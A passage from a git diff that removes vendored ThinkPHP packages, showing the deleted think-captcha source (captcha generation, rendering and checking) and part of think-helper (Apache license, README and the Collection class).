/dev/null differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/4.ttf b/vendor/topthink/think-captcha/assets/ttfs/4.ttf deleted file mode 100644 index db43334..0000000 Binary files a/vendor/topthink/think-captcha/assets/ttfs/4.ttf and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/5.ttf b/vendor/topthink/think-captcha/assets/ttfs/5.ttf deleted file mode 100644 index 8c082c8..0000000 Binary files a/vendor/topthink/think-captcha/assets/ttfs/5.ttf and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/6.ttf b/vendor/topthink/think-captcha/assets/ttfs/6.ttf deleted file mode 100644 index 45a038b..0000000 Binary files a/vendor/topthink/think-captcha/assets/ttfs/6.ttf and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/zhttfs/1.ttf b/vendor/topthink/think-captcha/assets/zhttfs/1.ttf deleted file mode 100644 index 1c14f7f..0000000 Binary files a/vendor/topthink/think-captcha/assets/zhttfs/1.ttf and /dev/null differ diff --git a/vendor/topthink/think-captcha/composer.json b/vendor/topthink/think-captcha/composer.json deleted file mode 100644 index e598819..0000000 --- a/vendor/topthink/think-captcha/composer.json +++ /dev/null @@ -1,32 +0,0 @@ -{ - "name": "topthink/think-captcha", - "description": "captcha package for thinkphp", - "authors": [ - { - "name": "yunwuxin", - "email": "448901948@qq.com" - } - ], - "license": "Apache-2.0", - "require": { - "topthink/framework": "^6.0.0" - }, - "autoload": { - "psr-4": { - "think\\captcha\\": "src/" - }, - "files": [ - "src/helper.php" - ] - }, - "extra": { - "think": { - "services": [ - "think\\captcha\\CaptchaService" - ], - "config":{ - "captcha": "src/config.php" - } - } - } -} diff --git a/vendor/topthink/think-captcha/src/Captcha.php b/vendor/topthink/think-captcha/src/Captcha.php deleted file mode 100644 index 0789087..0000000 --- a/vendor/topthink/think-captcha/src/Captcha.php +++ /dev/null @@ -1,340 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\captcha; - -use Exception; -use think\Config; -use think\Response; -use think\Session; - -class Captcha -{ - private $im = null; // 验证码图片实例 - private $color = null; // 验证码字体颜色 - - /** - * @var Config|null - */ - private $config = null; - - /** - * @var Session|null - */ - private $session = null; - - // 验证码字符集合 - protected $codeSet = '2345678abcdefhijkmnpqrstuvwxyzABCDEFGHJKLMNPQRTUVWXY'; - // 验证码过期时间(s) - protected $expire = 1800; - // 使用中文验证码 - protected $useZh = false; - // 中文验证码字符串 - protected $zhSet = '们以我到他会作时要动国产的一是工就年阶义发成部民可出能方进在了不和有大这主中人上为来分生对于学下级地个用同行面说种过命度革而多子后自社加小机也经力线本电高量长党得实家定深法表着水理化争现所二起政三好十战无农使性前等反体合斗路图把结第里正新开论之物从当两些还天资事队批点育重其思与间内去因件日利相由压员气业代全组数果期导平各基或月毛然如应形想制心样干都向变关问比展那它最及外没看治提五解系林者米群头意只明四道马认次文通但条较克又公孔领军流入接席位情运器并飞原油放立题质指建区验活众很教决特此常石强极土少已根共直团统式转别造切九你取西持总料连任志观调七么山程百报更见必真保热委手改管处己将修支识病象几先老光专什六型具示复安带每东增则完风回南广劳轮科北打积车计给节做务被整联步类集号列温装即毫知轴研单色坚据速防史拉世设达尔场织历花受求传口断况采精金界品判参层止边清至万确究书术状厂须离再目海交权且儿青才证低越际八试规斯近注办布门铁需走议县兵固除般引齿千胜细影济白格效置推空配刀叶率述今选养德话查差半敌始片施响收华觉备名红续均药标记难存测士身紧液派准斤角降维板许破述技消底床田势端感往神便贺村构照容非搞亚磨族火段算适讲按值美态黄易彪服早班麦削信排台声该击素张密害侯草何树肥继右属市严径螺检左页抗苏显苦英快称坏移约巴材省黑武培著河帝仅针怎植京助升王眼她抓含苗副杂普谈围食射源例致酸旧却充足短划剂宣环落首尺波承粉践府鱼随考刻靠够满夫失包住促枝局菌杆周护岩师举曲春元超负砂封换太模贫减阳扬江析亩木言球朝医校古呢稻宋听唯输滑站另卫字鼓刚写刘微略范供阿块某功套友限项余倒卷创律雨让骨远帮初皮播优占死毒圈伟季训控激找叫云互跟裂粮粒母练塞钢顶策双留误础吸阻故寸盾晚丝女散焊功株亲院冷彻弹错散商视艺灭版烈零室轻血倍缺厘泵察绝富城冲喷壤简否柱李望盘磁雄似困巩益洲脱投送奴侧润盖挥距触星松送获兴独官混纪依未突架宽冬章湿偏纹吃执阀矿寨责熟稳夺硬价努翻奇甲预职评读背协损棉侵灰虽矛厚罗泥辟告卵箱掌氧恩爱停曾溶营终纲孟钱待尽俄缩沙退陈讨奋械载胞幼哪剥迫旋征槽倒握担仍呀鲜吧卡粗介钻逐弱脚怕盐末阴丰雾冠丙街莱贝辐肠付吉渗瑞惊顿挤秒悬姆烂森糖圣凹陶词迟蚕亿矩康遵牧遭幅园腔订香肉弟屋敏恢忘编印蜂急拿扩伤飞露核缘游振操央伍域甚迅辉异序免纸夜乡久隶缸夹念兰映沟乙吗儒杀汽磷艰晶插埃燃欢铁补咱芽永瓦倾阵碳演威附牙芽永瓦斜灌欧献顺猪洋腐请透司危括脉宜笑若尾束壮暴企菜穗楚汉愈绿拖牛份染既秋遍锻玉夏疗尖殖井费州访吹荣铜沿替滚客召旱悟刺脑措贯藏敢令隙炉壳硫煤迎铸粘探临薄旬善福纵择礼愿伏残雷延烟句纯渐耕跑泽慢栽鲁赤繁境潮横掉锥希池败船假亮谓托伙哲怀割摆贡呈劲财仪沉炼麻罪祖息车穿货销齐鼠抽画饲龙库守筑房歌寒喜哥洗蚀废纳腹乎录镜妇恶脂庄擦险赞钟摇典柄辩竹谷卖乱虚桥奥伯赶垂途额壁网截野遗静谋弄挂课镇妄盛耐援扎虑键归符庆聚绕摩忙舞遇索顾胶羊湖钉仁音迹碎伸灯避泛亡答勇频皇柳哈揭甘诺概宪浓岛袭谁洪谢炮浇斑讯懂灵蛋闭孩释乳巨徒私银伊景坦累匀霉杜乐勒隔弯绩招绍胡呼痛峰零柴簧午跳居尚丁秦稍追梁折耗碱殊岗挖氏刃剧堆赫荷胸衡勤膜篇登驻案刊秧缓凸役剪川雪链渔啦脸户洛孢勃盟买杨宗焦赛旗滤硅炭股坐蒸凝竟陷枪黎救冒暗洞犯筒您宋弧爆谬涂味津臂障褐陆啊健尊豆拔莫抵桑坡缝警挑污冰柬嘴啥饭塑寄赵喊垫丹渡耳刨虎笔稀昆浪萨茶滴浅拥穴覆伦娘吨浸袖珠雌妈紫戏塔锤震岁貌洁剖牢锋疑霸闪埔猛诉刷狠忽灾闹乔唐漏闻沈熔氯荒茎男凡抢像浆旁玻亦忠唱蒙予纷捕锁尤乘乌智淡允叛畜俘摸锈扫毕璃宝芯爷鉴秘净蒋钙肩腾枯抛轨堂拌爸循诱祝励肯酒绳穷塘燥泡袋朗喂铝软渠颗惯贸粪综墙趋彼届墨碍启逆卸航衣孙龄岭骗休借'; - // 使用背景图片 - protected $useImgBg = false; - // 验证码字体大小(px) - protected $fontSize = 25; - // 是否画混淆曲线 - protected $useCurve = true; - // 是否添加杂点 - protected $useNoise = true; - // 验证码图片高度 - protected $imageH = 0; - // 验证码图片宽度 - protected $imageW = 0; - // 验证码位数 - protected $length = 5; - // 验证码字体,不设置随机获取 - protected $fontttf = ''; - // 背景颜色 - protected $bg = [243, 251, 254]; - //算术验证码 - protected $math = false; - - /** - * 架构方法 设置参数 - * @access public - * @param Config $config - * @param Session $session - */ - public function __construct(Config $config, Session $session) - { - $this->config = $config; - $this->session = $session; - } - - /** - * 配置验证码 - * @param string|null $config - */ - protected function configure(string $config = null): void - { - if (is_null($config)) { - $config = $this->config->get('captcha', []); - } else { - $config = $this->config->get('captcha.' . $config, []); - } - - foreach ($config as $key => $val) { - if (property_exists($this, $key)) { - $this->{$key} = $val; - } - } - } - - /** - * 创建验证码 - * @return array - * @throws Exception - */ - protected function generate(): array - { - $bag = ''; - - if ($this->math) { - $this->useZh = false; - $this->length = 5; - - $x = random_int(10, 30); - $y = random_int(1, 9); - $bag = "{$x} + {$y} = "; - $key = $x + $y; - $key .= ''; - } else { - if ($this->useZh) { - $characters = preg_split('/(?zhSet); - } else { - $characters = str_split($this->codeSet); - } - - for ($i = 0; $i < $this->length; $i++) { - $bag .= $characters[rand(0, count($characters) - 1)]; - } - - $key = mb_strtolower($bag, 'UTF-8'); - } - - $hash = password_hash($key, PASSWORD_BCRYPT, ['cost' => 10]); - - $this->session->set('captcha', [ - 'key' => $hash, - ]); - - return [ - 'value' => $bag, - 'key' => $hash, - ]; - } - - /** - * 验证验证码是否正确 - * @access public - * @param string $code 用户验证码 - * @return bool 用户验证码是否正确 - */ - public function check(string $code): bool - { - if (!$this->session->has('captcha')) { - return false; - } - - $key = $this->session->get('captcha.key'); - - $code = mb_strtolower($code, 'UTF-8'); - - $res = password_verify($code, $key); - - if ($res) { - $this->session->delete('captcha'); - } - - return $res; - } - - /** - * 输出验证码并把验证码的值保存的session中 - * @access public - * @param null|string $config - * @param bool $api - * @return Response - */ - public function create(string $config = null, bool $api = false): Response - { - $this->configure($config); - - $generator = $this->generate(); - - // 图片宽(px) - $this->imageW || $this->imageW = $this->length * $this->fontSize * 1.5 + $this->length * $this->fontSize / 2; - // 图片高(px) - $this->imageH || $this->imageH = $this->fontSize * 2.5; - // 建立一幅 $this->imageW x $this->imageH 的图像 - $this->im = imagecreate($this->imageW, $this->imageH); - // 设置背景 - imagecolorallocate($this->im, $this->bg[0], $this->bg[1], $this->bg[2]); - - // 验证码字体随机颜色 - $this->color = imagecolorallocate($this->im, mt_rand(1, 150), mt_rand(1, 150), mt_rand(1, 150)); - - // 验证码使用随机字体 - $ttfPath = __DIR__ . '/../assets/' . ($this->useZh ? 'zhttfs' : 'ttfs') . '/'; - - if (empty($this->fontttf)) { - $dir = dir($ttfPath); - $ttfs = []; - while (false !== ($file = $dir->read())) { - if ('.' != $file[0] && substr($file, -4) == '.ttf') { - $ttfs[] = $file; - } - } - $dir->close(); - $this->fontttf = $ttfs[array_rand($ttfs)]; - } - - $fontttf = $ttfPath . $this->fontttf; - - if ($this->useImgBg) { - $this->background(); - } - - if ($this->useNoise) { - // 绘杂点 - $this->writeNoise(); - } - if ($this->useCurve) { - // 绘干扰线 - $this->writeCurve(); - } - - // 绘验证码 - $text = $this->useZh ? preg_split('/(? $char) { - - $x = $this->fontSize * ($index + 1) * mt_rand(1.2, 1.6) * ($this->math ? 1 : 1.5); - $y = $this->fontSize + mt_rand(10, 20); - $angle = $this->math ? 0 : mt_rand(-40, 40); - - imagettftext($this->im, $this->fontSize, $angle, $x, $y, $this->color, $fontttf, $char); - } - - ob_start(); - // 输出图像 - imagepng($this->im); - $content = ob_get_clean(); - imagedestroy($this->im); - - return response($content, 200, ['Content-Length' => strlen($content)])->contentType('image/png'); - } - - /** - * 画一条由两条连在一起构成的随机正弦函数曲线作干扰线(你可以改成更帅的曲线函数) - * - * 高中的数学公式咋都忘了涅,写出来 - * 正弦型函数解析式:y=Asin(ωx+φ)+b - * 各常数值对函数图像的影响: - * A:决定峰值(即纵向拉伸压缩的倍数) - * b:表示波形在Y轴的位置关系或纵向移动距离(上加下减) - * φ:决定波形与X轴位置关系或横向移动距离(左加右减) - * ω:决定周期(最小正周期T=2π/∣ω∣) - * - */ - protected function writeCurve(): void - { - $px = $py = 0; - - // 曲线前部分 - $A = mt_rand(1, $this->imageH / 2); // 振幅 - $b = mt_rand(-$this->imageH / 4, $this->imageH / 4); // Y轴方向偏移量 - $f = mt_rand(-$this->imageH / 4, $this->imageH / 4); // X轴方向偏移量 - $T = mt_rand($this->imageH, $this->imageW * 2); // 周期 - $w = (2 * M_PI) / $T; - - $px1 = 0; // 曲线横坐标起始位置 - $px2 = mt_rand($this->imageW / 2, $this->imageW * 0.8); // 曲线横坐标结束位置 - - for ($px = $px1; $px <= $px2; $px = $px + 1) { - if (0 != $w) { - $py = $A * sin($w * $px + $f) + $b + $this->imageH / 2; // y = Asin(ωx+φ) + b - $i = (int) ($this->fontSize / 5); - while ($i > 0) { - imagesetpixel($this->im, $px + $i, $py + $i, $this->color); // 这里(while)循环画像素点比imagettftext和imagestring用字体大小一次画出(不用这while循环)性能要好很多 - $i--; - } - } - } - - // 曲线后部分 - $A = mt_rand(1, $this->imageH / 2); // 振幅 - $f = mt_rand(-$this->imageH / 4, $this->imageH / 4); // X轴方向偏移量 - $T = mt_rand($this->imageH, $this->imageW * 2); // 周期 - $w = (2 * M_PI) / $T; - $b = $py - $A * sin($w * $px + $f) - $this->imageH / 2; - $px1 = $px2; - $px2 = $this->imageW; - - for ($px = $px1; $px <= $px2; $px = $px + 1) { - if (0 != $w) { - $py = $A * sin($w * $px + $f) + $b + $this->imageH / 2; // y = Asin(ωx+φ) + b - $i = (int) ($this->fontSize / 5); - while ($i > 0) { - imagesetpixel($this->im, $px + $i, $py + $i, $this->color); - $i--; - } - } - } - } - - /** - * 画杂点 - * 往图片上写不同颜色的字母或数字 - */ - protected function writeNoise(): void - { - $codeSet = '2345678abcdefhijkmnpqrstuvwxyz'; - for ($i = 0; $i < 10; $i++) { - //杂点颜色 - $noiseColor = imagecolorallocate($this->im, mt_rand(150, 225), mt_rand(150, 225), mt_rand(150, 225)); - for ($j = 0; $j < 5; $j++) { - // 绘杂点 - imagestring($this->im, 5, mt_rand(-10, $this->imageW), mt_rand(-10, $this->imageH), $codeSet[mt_rand(0, 29)], $noiseColor); - } - } - } - - /** - * 绘制背景图片 - * 注:如果验证码输出图片比较大,将占用比较多的系统资源 - */ - protected function background(): void - { - $path = __DIR__ . '/../assets/bgs/'; - $dir = dir($path); - - $bgs = []; - while (false !== ($file = $dir->read())) { - if ('.' != $file[0] && substr($file, -4) == '.jpg') { - $bgs[] = $path . $file; - } - } - $dir->close(); - - $gb = $bgs[array_rand($bgs)]; - - list($width, $height) = @getimagesize($gb); - // Resample - $bgImage = @imagecreatefromjpeg($gb); - @imagecopyresampled($this->im, $bgImage, 0, 0, 0, 0, $this->imageW, $this->imageH, $width, $height); - @imagedestroy($bgImage); - } - -} diff --git a/vendor/topthink/think-captcha/src/CaptchaController.php b/vendor/topthink/think-captcha/src/CaptchaController.php deleted file mode 100644 index 2c3cf59..0000000 --- a/vendor/topthink/think-captcha/src/CaptchaController.php +++ /dev/null @@ -1,20 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\captcha; - -class CaptchaController -{ - public function index(Captcha $captcha, $config = null) - { - return $captcha->create($config); - } -} diff --git a/vendor/topthink/think-captcha/src/CaptchaService.php b/vendor/topthink/think-captcha/src/CaptchaService.php deleted file mode 100644 index 1848858..0000000 --- a/vendor/topthink/think-captcha/src/CaptchaService.php +++ /dev/null @@ -1,23 +0,0 @@ -extend('captcha', function ($value) { - return captcha_check($value); - }, ':attribute错误!'); - }); - - $this->registerRoutes(function (Route $route) { - $route->get('captcha/[:config]', "\\think\\captcha\\CaptchaController@index"); - }); - } -} diff --git a/vendor/topthink/think-captcha/src/config.php b/vendor/topthink/think-captcha/src/config.php deleted file mode 100644 index 9bbf529..0000000 --- a/vendor/topthink/think-captcha/src/config.php +++ /dev/null @@ -1,39 +0,0 @@ - 5, - // 验证码字符集合 - 'codeSet' => '2345678abcdefhijkmnpqrstuvwxyzABCDEFGHJKLMNPQRTUVWXY', - // 验证码过期时间 - 'expire' => 1800, - // 是否使用中文验证码 - 'useZh' => false, - // 是否使用算术验证码 - 'math' => false, - // 是否使用背景图 - 'useImgBg' => false, - //验证码字符大小 - 'fontSize' => 25, - // 是否使用混淆曲线 - 'useCurve' => true, - //是否添加杂点 - 'useNoise' => true, - // 验证码字体 不设置则随机 - 'fontttf' => '', - //背景颜色 - 'bg' => [243, 251, 254], - // 验证码图片高度 - 'imageH' => 0, - // 验证码图片宽度 - 'imageW' => 0, - - // 添加额外的验证码设置 - // verify => [ - // 'length'=>4, - // ... - //], -]; diff --git a/vendor/topthink/think-captcha/src/facade/Captcha.php b/vendor/topthink/think-captcha/src/facade/Captcha.php deleted file mode 100644 index cd9f793..0000000 --- a/vendor/topthink/think-captcha/src/facade/Captcha.php +++ /dev/null @@ -1,18 +0,0 @@ - -// +---------------------------------------------------------------------- - -use think\captcha\facade\Captcha; -use think\facade\Route; -use think\Response; - -/** - * @param string $config - * @return \think\Response - */ -function captcha($config = null): Response -{ - return Captcha::create($config); -} - -/** - * @param $config - * @return string - */ -function captcha_src($config = null): string -{ - return Route::buildUrl('/captcha' . ($config ? "/{$config}" : '')); -} - -/** - * @param $id - * @return string - */ -function captcha_img($id = '', $domid = ''): string -{ - $src = captcha_src($id); - - $domid = empty($domid) ? $domid : "id='" . $domid . "'"; - - return "captcha"; -} - -/** - * @param string $value - * @return bool - */ -function captcha_check($value) -{ - return Captcha::check($value); -} diff --git a/vendor/topthink/think-helper/.gitignore b/vendor/topthink/think-helper/.gitignore deleted file mode 100644 index d851bdb..0000000 --- a/vendor/topthink/think-helper/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -/vendor/ -/.idea/ -composer.lock \ No newline at end of file diff --git a/vendor/topthink/think-helper/LICENSE b/vendor/topthink/think-helper/LICENSE deleted file mode 100644 index 8dada3e..0000000 --- a/vendor/topthink/think-helper/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "{}" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright {yyyy} {name of copyright owner} - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/topthink/think-helper/README.md b/vendor/topthink/think-helper/README.md deleted file mode 100644 index 7baf8f7..0000000 --- a/vendor/topthink/think-helper/README.md +++ /dev/null @@ -1,33 +0,0 @@ -# thinkphp6 常用的一些扩展类库 - -基于PHP7.1+ - -> 以下类库都在`\\think\\helper`命名空间下 - -## Str - -> 字符串操作 - -``` -// 检查字符串中是否包含某些字符串 -Str::contains($haystack, $needles) - -// 检查字符串是否以某些字符串结尾 -Str::endsWith($haystack, $needles) - -// 获取指定长度的随机字母数字组合的字符串 -Str::random($length = 16) - -// 字符串转小写 -Str::lower($value) - -// 字符串转大写 -Str::upper($value) - -// 获取字符串的长度 -Str::length($value) - -// 截取字符串 -Str::substr($string, $start, $length = null) - -``` \ No newline at end of file diff --git a/vendor/topthink/think-helper/composer.json b/vendor/topthink/think-helper/composer.json deleted file mode 100644 index b68c43b..0000000 --- a/vendor/topthink/think-helper/composer.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "name": "topthink/think-helper", - "description": "The ThinkPHP6 Helper Package", - "license": "Apache-2.0", - "authors": [ - { - "name": "yunwuxin", - "email": "448901948@qq.com" - } - ], - "require": { - "php": ">=7.1.0" - }, - "autoload": { - "psr-4": { - "think\\": "src" - }, - "files": [ - "src/helper.php" - ] - } -} diff --git a/vendor/topthink/think-helper/src/Collection.php b/vendor/topthink/think-helper/src/Collection.php deleted file mode 100644 index 905f3f8..0000000 --- a/vendor/topthink/think-helper/src/Collection.php +++ /dev/null @@ -1,651 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use ArrayAccess; -use ArrayIterator; -use Countable; -use IteratorAggregate; -use JsonSerializable; -use think\contract\Arrayable; -use think\contract\Jsonable; -use think\helper\Arr; - -/** - * 数据集管理类 - */ -class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable, Arrayable, Jsonable -{ - /** - * 数据集数据 - * @var array - */ - protected $items = []; - - public function __construct($items = []) - { - $this->items = $this->convertToArray($items); - } - - public static function make($items = []) - { - return new static($items); - } - - /** - * 是否为空 - * @access public - * @return bool - */ - public function isEmpty(): bool - { - return empty($this->items); - } - - public function toArray(): array - { - return array_map(function ($value) { - return $value instanceof Arrayable ? $value->toArray() : $value; - }, $this->items); - } - - public function all(): array - { - return $this->items; - } - - /** - * 合并数组 - * - * @access public - * @param mixed $items 数据 - * @return static - */ - public function merge($items) - { - return new static(array_merge($this->items, $this->convertToArray($items))); - } - - /** - * 按指定键整理数据 - * - * @access public - * @param mixed $items 数据 - * @param string $indexKey 键名 - * @return array - */ - public function dictionary($items = null, string &$indexKey = null) - { - if ($items instanceof self) { - $items = $items->all(); - } - - $items = is_null($items) ? $this->items : $items; - - if ($items && empty($indexKey)) { - $indexKey = is_array($items[0]) ? 'id' : $items[0]->getPk(); - } - - if (isset($indexKey) && is_string($indexKey)) { - return array_column($items, null, $indexKey); - } - - return $items; - } - - /** - * 比较数组,返回差集 - * - * @access public - * @param mixed $items 数据 - * @param string $indexKey 指定比较的键名 - * @return static - */ - public function diff($items, string $indexKey = null) - { - if ($this->isEmpty() || is_scalar($this->items[0])) { - return new static(array_diff($this->items, $this->convertToArray($items))); - } - - $diff = []; - $dictionary = $this->dictionary($items, $indexKey); - - if (is_string($indexKey)) { - foreach ($this->items as $item) { - if (!isset($dictionary[$item[$indexKey]])) { - $diff[] = $item; - } - } - } - - return new static($diff); - } - - /** - * 比较数组,返回交集 - * - * @access public - * @param mixed $items 数据 - * @param string $indexKey 指定比较的键名 - * @return static - */ - public function intersect($items, string $indexKey = null) - { - if ($this->isEmpty() || is_scalar($this->items[0])) { - return new static(array_diff($this->items, $this->convertToArray($items))); - } - - $intersect = []; - $dictionary = $this->dictionary($items, $indexKey); - - if (is_string($indexKey)) { - foreach ($this->items as $item) { - if (isset($dictionary[$item[$indexKey]])) { - $intersect[] = $item; - } - } - } - - return new static($intersect); - } - - /** - * 交换数组中的键和值 - * - * @access public - * @return static - */ - public function flip() - { - return new static(array_flip($this->items)); - } - - /** - * 返回数组中所有的键名 - * - * @access public - * @return static - */ - public function keys() - { - return new static(array_keys($this->items)); - } - - /** - * 返回数组中所有的值组成的新 Collection 实例 - * @access public - * @return static - */ - public function values() - { - return new static(array_values($this->items)); - } - - /** - * 删除数组的最后一个元素(出栈) - * - * @access public - * @return mixed - */ - public function pop() - { - return array_pop($this->items); - } - - /** - * 通过使用用户自定义函数,以字符串返回数组 - * - * @access public - * @param callable $callback 调用方法 - * @param mixed $initial - * @return mixed - */ - public function reduce(callable $callback, $initial = null) - { - return array_reduce($this->items, $callback, $initial); - } - - /** - * 以相反的顺序返回数组。 - * - * @access public - * @return static - */ - public function reverse() - { - return new static(array_reverse($this->items)); - } - - /** - * 删除数组中首个元素,并返回被删除元素的值 - * - * @access public - * @return mixed - */ - public function shift() - { - return array_shift($this->items); - } - - /** - * 在数组结尾插入一个元素 - * @access public - * @param mixed $value 元素 - * @param string $key KEY - * @return void - */ - public function push($value, string $key = null): void - { - if (is_null($key)) { - $this->items[] = $value; - } else { - $this->items[$key] = $value; - } - } - - /** - * 把一个数组分割为新的数组块. - * - * @access public - * @param int $size 块大小 - * @param bool $preserveKeys - * @return static - */ - public function chunk(int $size, bool $preserveKeys = false) - { - $chunks = []; - - foreach (array_chunk($this->items, $size, $preserveKeys) as $chunk) { - $chunks[] = new static($chunk); - } - - return new static($chunks); - } - - /** - * 在数组开头插入一个元素 - * @access public - * @param mixed $value 元素 - * @param string $key KEY - * @return void - */ - public function unshift($value, string $key = null): void - { - if (is_null($key)) { - array_unshift($this->items, $value); - } else { - $this->items = [$key => $value] + $this->items; - } - } - - /** - * 给每个元素执行个回调 - * - * @access public - * @param callable $callback 回调 - * @return $this - */ - public function each(callable $callback) - { - foreach ($this->items as $key => $item) { - $result = $callback($item, $key); - - if (false 